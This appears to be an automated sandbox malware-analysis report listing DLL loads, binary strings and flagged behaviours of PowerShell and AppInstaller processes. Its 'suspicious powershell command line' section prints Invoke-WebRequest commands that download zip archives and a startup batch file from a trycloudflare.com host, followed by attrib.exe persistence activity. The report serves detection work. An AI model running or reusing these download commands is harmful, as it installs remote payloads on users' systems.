Source: C:\Program Files\WindowsApps\Microsoft.DesktopAppInstaller_1.0.30251.0_x64__8wekyb3d8bbwe\AppInstallerPythonRedirector.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Program Files\WindowsApps\Microsoft.DesktopAppInstaller_1.0.30251.0_x64__8wekyb3d8bbwe\AppInstallerPythonRedirector.exe	Section loaded: msvcp140.dll	Jump to behavior
Source: C:\Program Files\WindowsApps\Microsoft.DesktopAppInstaller_1.0.30251.0_x64__8wekyb3d8bbwe\AppInstallerPythonRedirector.exe	Section loaded: vcruntime140.dll	Jump to behavior
Source: C:\Program Files\WindowsApps\Microsoft.DesktopAppInstaller_1.0.30251.0_x64__8wekyb3d8bbwe\AppInstallerPythonRedirector.exe	Section loaded: vcruntime140.dll	Jump to behavior
Source: C:\Program Files\WindowsApps\Microsoft.DesktopAppInstaller_1.0.30251.0_x64__8wekyb3d8bbwe\AppInstallerPythonRedirector.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Program Files\WindowsApps\Microsoft.DesktopAppInstaller_1.0.30251.0_x64__8wekyb3d8bbwe\AppInstallerPythonRedirector.exe	Section loaded: windows.storage.applicationdata.dll	Jump to behavior
Source: C:\Program Files\WindowsApps\Microsoft.DesktopAppInstaller_1.0.30251.0_x64__8wekyb3d8bbwe\AppInstallerPythonRedirector.exe	Section loaded: twinapi.appcore.dll	Jump to behavior
Source: C:\Program Files\WindowsApps\Microsoft.DesktopAppInstaller_1.0.30251.0_x64__8wekyb3d8bbwe\AppInstallerPythonRedirector.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Program Files\WindowsApps\Microsoft.DesktopAppInstaller_1.0.30251.0_x64__8wekyb3d8bbwe\AppInstallerPythonRedirector.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Program Files\WindowsApps\Microsoft.DesktopAppInstaller_1.0.30251.0_x64__8wekyb3d8bbwe\AppInstallerPythonRedirector.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Program Files\WindowsApps\Microsoft.DesktopAppInstaller_1.0.30251.0_x64__8wekyb3d8bbwe\AppInstallerPythonRedirector.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Program Files\WindowsApps\Microsoft.DesktopAppInstaller_1.0.30251.0_x64__8wekyb3d8bbwe\AppInstallerPythonRedirector.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Program Files\WindowsApps\Microsoft.DesktopAppInstaller_1.0.30251.0_x64__8wekyb3d8bbwe\AppInstallerPythonRedirector.exe	Section loaded: msvcp140.dll	Jump to behavior
Source: C:\Program Files\WindowsApps\Microsoft.DesktopAppInstaller_1.0.30251.0_x64__8wekyb3d8bbwe\AppInstallerPythonRedirector.exe	Section loaded: vcruntime140.dll	Jump to behavior
Source: C:\Program Files\WindowsApps\Microsoft.DesktopAppInstaller_1.0.30251.0_x64__8wekyb3d8bbwe\AppInstallerPythonRedirector.exe	Section loaded: vcruntime140.dll	Jump to behavior
Source: C:\Program Files\WindowsApps\Microsoft.DesktopAppInstaller_1.0.30251.0_x64__8wekyb3d8bbwe\AppInstallerPythonRedirector.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Program Files\WindowsApps\Microsoft.DesktopAppInstaller_1.0.30251.0_x64__8wekyb3d8bbwe\AppInstallerPythonRedirector.exe	Section loaded: windows.storage.applicationdata.dll	Jump to behavior
Source: C:\Program Files\WindowsApps\Microsoft.DesktopAppInstaller_1.0.30251.0_x64__8wekyb3d8bbwe\AppInstallerPythonRedirector.exe	Section loaded: twinapi.appcore.dll	Jump to behavior
Source: C:\Program Files\WindowsApps\Microsoft.DesktopAppInstaller_1.0.30251.0_x64__8wekyb3d8bbwe\AppInstallerPythonRedirector.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Program Files\WindowsApps\Microsoft.DesktopAppInstaller_1.0.30251.0_x64__8wekyb3d8bbwe\AppInstallerPythonRedirector.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Program Files\WindowsApps\Microsoft.DesktopAppInstaller_1.0.30251.0_x64__8wekyb3d8bbwe\AppInstallerPythonRedirector.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Program Files\WindowsApps\Microsoft.DesktopAppInstaller_1.0.30251.0_x64__8wekyb3d8bbwe\AppInstallerPythonRedirector.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Program Files\WindowsApps\Microsoft.DesktopAppInstaller_1.0.30251.0_x64__8wekyb3d8bbwe\AppInstallerPythonRedirector.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Program Files\WindowsApps\Microsoft.DesktopAppInstaller_1.0.30251.0_x64__8wekyb3d8bbwe\AppInstallerPythonRedirector.exe	Section loaded: msvcp140.dll
Source: C:\Program Files\WindowsApps\Microsoft.DesktopAppInstaller_1.0.30251.0_x64__8wekyb3d8bbwe\AppInstallerPythonRedirector.exe	Section loaded: vcruntime140.dll
Source: C:\Program Files\WindowsApps\Microsoft.DesktopAppInstaller_1.0.30251.0_x64__8wekyb3d8bbwe\AppInstallerPythonRedirector.exe	Section loaded: vcruntime140.dll
Source: C:\Program Files\WindowsApps\Microsoft.DesktopAppInstaller_1.0.30251.0_x64__8wekyb3d8bbwe\AppInstallerPythonRedirector.exe	Section loaded: kernel.appcore.dll
Source: C:\Program Files\WindowsApps\Microsoft.DesktopAppInstaller_1.0.30251.0_x64__8wekyb3d8bbwe\AppInstallerPythonRedirector.exe	Section loaded: windows.storage.applicationdata.dll
Source: C:\Program Files\WindowsApps\Microsoft.DesktopAppInstaller_1.0.30251.0_x64__8wekyb3d8bbwe\AppInstallerPythonRedirector.exe	Section loaded: twinapi.appcore.dll
Source: C:\Program Files\WindowsApps\Microsoft.DesktopAppInstaller_1.0.30251.0_x64__8wekyb3d8bbwe\AppInstallerPythonRedirector.exe	Section loaded: wintypes.dll
Source: C:\Program Files\WindowsApps\Microsoft.DesktopAppInstaller_1.0.30251.0_x64__8wekyb3d8bbwe\AppInstallerPythonRedirector.exe	Section loaded: windows.storage.dll
Source: C:\Program Files\WindowsApps\Microsoft.DesktopAppInstaller_1.0.30251.0_x64__8wekyb3d8bbwe\AppInstallerPythonRedirector.exe	Section loaded: wldp.dll
Source: C:\Program Files\WindowsApps\Microsoft.DesktopAppInstaller_1.0.30251.0_x64__8wekyb3d8bbwe\AppInstallerPythonRedirector.exe	Section loaded: propsys.dll
Source: C:\Program Files\WindowsApps\Microsoft.DesktopAppInstaller_1.0.30251.0_x64__8wekyb3d8bbwe\AppInstallerPythonRedirector.exe	Section loaded: uxtheme.dll
Source: C:\Program Files\WindowsApps\Microsoft.DesktopAppInstaller_1.0.30251.0_x64__8wekyb3d8bbwe\AppInstallerPythonRedirector.exe	Section loaded: msvcp140.dll
Source: C:\Program Files\WindowsApps\Microsoft.DesktopAppInstaller_1.0.30251.0_x64__8wekyb3d8bbwe\AppInstallerPythonRedirector.exe	Section loaded: vcruntime140.dll
Source: C:\Program Files\WindowsApps\Microsoft.DesktopAppInstaller_1.0.30251.0_x64__8wekyb3d8bbwe\AppInstallerPythonRedirector.exe	Section loaded: vcruntime140.dll
Source: C:\Program Files\WindowsApps\Microsoft.DesktopAppInstaller_1.0.30251.0_x64__8wekyb3d8bbwe\AppInstallerPythonRedirector.exe	Section loaded: kernel.appcore.dll
Source: C:\Program Files\WindowsApps\Microsoft.DesktopAppInstaller_1.0.30251.0_x64__8wekyb3d8bbwe\AppInstallerPythonRedirector.exe	Section loaded: windows.storage.applicationdata.dll
Source: C:\Program Files\WindowsApps\Microsoft.DesktopAppInstaller_1.0.30251.0_x64__8wekyb3d8bbwe\AppInstallerPythonRedirector.exe	Section loaded: twinapi.appcore.dll
Source: C:\Program Files\WindowsApps\Microsoft.DesktopAppInstaller_1.0.30251.0_x64__8wekyb3d8bbwe\AppInstallerPythonRedirector.exe	Section loaded: wintypes.dll
Source: C:\Program Files\WindowsApps\Microsoft.DesktopAppInstaller_1.0.30251.0_x64__8wekyb3d8bbwe\AppInstallerPythonRedirector.exe	Section loaded: windows.storage.dll
Source: C:\Program Files\WindowsApps\Microsoft.DesktopAppInstaller_1.0.30251.0_x64__8wekyb3d8bbwe\AppInstallerPythonRedirector.exe	Section loaded: wldp.dll
Source: C:\Program Files\WindowsApps\Microsoft.DesktopAppInstaller_1.0.30251.0_x64__8wekyb3d8bbwe\AppInstallerPythonRedirector.exe	Section loaded: propsys.dll
Source: C:\Program Files\WindowsApps\Microsoft.DesktopAppInstaller_1.0.30251.0_x64__8wekyb3d8bbwe\AppInstallerPythonRedirector.exe	Section loaded: uxtheme.dll
Source: C:\Windows\System32\timeout.exe	Section loaded: version.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: atl.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mscoree.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: kernel.appcore.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: version.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: vcruntime140_clr0400.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptsp.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rsaenh.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptbase.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: windows.storage.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wldp.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msasn1.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: amsi.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: userenv.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: profapi.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msisip.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wshext.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: appxsip.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: opcservices.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: gpapi.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: secur32.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: sspicli.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: uxtheme.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: iphlpapi.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dnsapi.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dhcpcsvc6.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dhcpcsvc.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: winnsi.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rasapi32.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rasman.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rtutils.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mswsock.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: winhttp.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ondemandconnroutehelper.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rasadhlp.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: atl.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mscoree.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: kernel.appcore.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: version.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: vcruntime140_clr0400.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptsp.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rsaenh.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptbase.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: amsi.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: userenv.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: profapi.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: windows.storage.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wldp.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msasn1.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msisip.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wshext.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: appxsip.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: opcservices.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: gpapi.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: secur32.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: sspicli.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: uxtheme.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: iphlpapi.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dnsapi.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dhcpcsvc6.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dhcpcsvc.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: winnsi.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rasapi32.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rasman.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rtutils.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mswsock.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: winhttp.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ondemandconnroutehelper.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rasadhlp.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: atl.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mscoree.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: kernel.appcore.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: version.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: vcruntime140_clr0400.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptsp.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rsaenh.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptbase.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: windows.storage.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wldp.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: amsi.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msasn1.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: userenv.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: profapi.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msisip.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wshext.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: appxsip.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: opcservices.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: gpapi.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: secur32.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: sspicli.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: uxtheme.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: urlmon.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: iertutil.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: srvcli.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: netutils.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: propsys.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wininet.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: kdscli.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ntasn1.dll
Source: C:\Windows\System32\attrib.exe	Section loaded: ulib.dll
Source: C:\Windows\System32\attrib.exe	Section loaded: fsutilext.dll

Source: C:\Program Files\WindowsApps\Microsoft.DesktopAppInstaller_1.0.30251.0_x64__8wekyb3d8bbwe\AppInstallerPythonRedirector.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{76765b11-3f95-4af2-ac9d-ea55d8994f1a}\InProcServer32

Jump to behavior

Source: Window Recorder

Window detected: More than 3 window changes detected

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

File opened: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorrc.dll

Jump to behavior

Source:	Binary string: Microsoft.PowerShell.Commands.Utility.pdb.cat source: powershell.exe, 00000013.00000002.1949905128.000002299D96F000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: tomation.pdb source: powershell.exe, 00000013.00000002.1949905128.000002299D96F000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: System.Management.Automation.pdb source: powershell.exe, 00000004.00000002.1798653871.000001E65BAD2000.00000004.00000020.00020000.00000000.sdmp, powershell.exe, 00000013.00000002.1951988919.000002299DC00000.00000004.00000020.00020000.00000000.sdmp, powershell.exe, 00000013.00000002.1949905128.000002299D96F000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: softy.pdbll source: powershell.exe, 00000013.00000002.1949905128.000002299D96F000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: \??\C:\Windows\Microsoft.Net\assembly\GAC_64\mscorlib\v4.0_4.0.0.0__b77a5c561934e089\mscorlib.pdb source: powershell.exe, 00000004.00000002.1797576952.000001E65B7E0000.00000004.00000020.00020000.00000000.sdmp, powershell.exe, 00000013.00000002.1949905128.000002299D96F000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: \??\C:\Windows\symbols\dll\Microsoft.PowerShell.Commands.Utility.pdb{)r source: powershell.exe, 00000018.00000002.2071539198.000002D62B7F0000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: mscorlib.pdb source: powershell.exe, 00000013.00000002.1949905128.000002299D96F000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: scorlib.pdb source: powershell.exe, 00000018.00000002.2068297007.000002D62B5ED000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: \??\C:\Windows\symbols\dll\Microsoft.PowerShell.Commands.Utility.pdbe0899S source: powershell.exe, 00000013.00000002.1949905128.000002299D96F000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: \??\C:\Windows\Microsoft.Net\assembly\GAC_MSIL\Microsoft.PowerShell.Commands.Utility\v4.0_3.0.0.0__31bf3856ad364e35\Microsoft.PowerShell.Commands.Utility.pdb source: powershell.exe, 00000018.00000002.2068297007.000002D62B5BD000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: \??\C:\Windows\Microsoft.Net\assembly\GAC_MSIL\System.Management.Automation\v4.0_3.0.0.0__31bf3856ad364e35\System.Management.Automation.pdb+ source: powershell.exe, 00000018.00000002.2068297007.000002D62B61D000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: k.pdb source: powershell.exe, 00000013.00000002.1949905128.000002299D96F000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: \??\C:\Windows\Microsoft.Net\assembly\GAC_MSIL\System.Management.Automation\v4.0_3.0.0.0__31bf3856ad364e35\System.Management.Automation.pdb source: powershell.exe, 00000013.00000002.1949905128.000002299D96F000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: Microsoft.PowerShell.Commands.Utility.pdb source: powershell.exe, 00000018.00000002.1968442214.000002D611530000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: ion.pdb source: powershell.exe, 00000004.00000002.1798653871.000001E65BAD2000.00000004.00000020.00020000.00000000.sdmp, powershell.exe, 00000013.00000002.1949905128.000002299D96F000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: \??\C:\Windows\Microsoft.Net\assembly\GAC_MSIL\System.Management.Automation\v4.0_3.0.0.0__31bf3856ad364e35\System.Management.Automation.pdb^y.[1 source: powershell.exe, 00000004.00000002.1798653871.000001E65BAD2000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: 6?lib.pdbpdblib.pdb source: powershell.exe, 00000013.00000002.1949905128.000002299D96F000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: mscorlib.pdby.pdb source: powershell.exe, 00000004.00000002.1798653871.000001E65BAD2000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: \??\C:\Windows\Microsoft.Net\assembly\GAC_MSIL\Microsoft.PowerShell.Commands.Utility\v4.0_3.0.0.0__31bf3856ad364e35\Microsoft.PowerShell.Commands.Utility.pdbvice@ source: powershell.exe, 00000018.00000002.2068297007.000002D62B5BD000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: s.Utility.pdb source: powershell.exe, 00000004.00000002.1798653871.000001E65BAD2000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: *on.pdb2 source: powershell.exe, 00000018.00000002.2068297007.000002D62B5ED000.00000004.00000020.00020000.00000000.sdmp

Data Obfuscation

Suspicious powershell command line found

Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "& { [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12; Invoke-WebRequest -Uri 'https://ride-fatal-italic-information.trycloudflare.com/DXJS.zip' -OutFile 'C:\Users\user\Downloads\DXJS.zip' }"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "& { [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12; Invoke-WebRequest -Uri 'https://ride-fatal-italic-information.trycloudflare.com/startupppp.bat' -OutFile 'C:\Users\user\Downloads\startupppp.bat' }"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "& { [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12; Invoke-WebRequest -Uri 'https://ride-fatal-italic-information.trycloudflare.com/FTSP.zip' -OutFile 'C:\Users\user\Downloads\FTSP.zip' }"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "& { [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12; Invoke-WebRequest -Uri 'https://ride-fatal-italic-information.trycloudflare.com/DXJS.zip' -OutFile 'C:\Users\user\Downloads\DXJS.zip' }"	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "& { [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12; Invoke-WebRequest -Uri 'https://ride-fatal-italic-information.trycloudflare.com/startupppp.bat' -OutFile 'C:\Users\user\Downloads\startupppp.bat' }"	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "& { [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12; Invoke-WebRequest -Uri 'https://ride-fatal-italic-information.trycloudflare.com/FTSP.zip' -OutFile 'C:\Users\user\Downloads\FTSP.zip' }"	Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Code function: 19_2_00007FFD9BAB46F2 push cs; iretd	19_2_00007FFD9BAB470A
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Code function: 19_2_00007FFD9BAB54C5 pushfd ; iretd	19_2_00007FFD9BAB54CA
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Code function: 24_2_00007FFD9BAB46E7 push cs; iretd	24_2_00007FFD9BAB46EA
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Code function: 24_2_00007FFD9BAB5754 pushad ; ret	24_2_00007FFD9BAB5761
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Code function: 24_2_00007FFD9BAB4E34 push eax; iretd	24_2_00007FFD9BAB4E42
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Code function: 24_2_00007FFD9BB80AD1 pushad ; iretd	24_2_00007FFD9BB80B4B

Persistence and Installation Behavior

Uses cmd line tools excessively to alter registry or file data

Source: C:\Windows\System32\cmd.exe	Process created: attrib.exe
Source: C:\Windows\System32\cmd.exe	Process created: attrib.exe
Source: C:\Windows\System32\cmd.exe	Process created: attrib.exe	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: attrib.exe	Jump to behavior

Hooking and other Techniques for Hiding and Protection

Loading BitLocker PowerShell Module

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\en-US\BitLocker.psd1	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\en-US\BitLocker.psd1	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\en-US\BitLocker.psd1	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\en-US\BitLocker.psd1
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\en-US\BitLocker.psd1
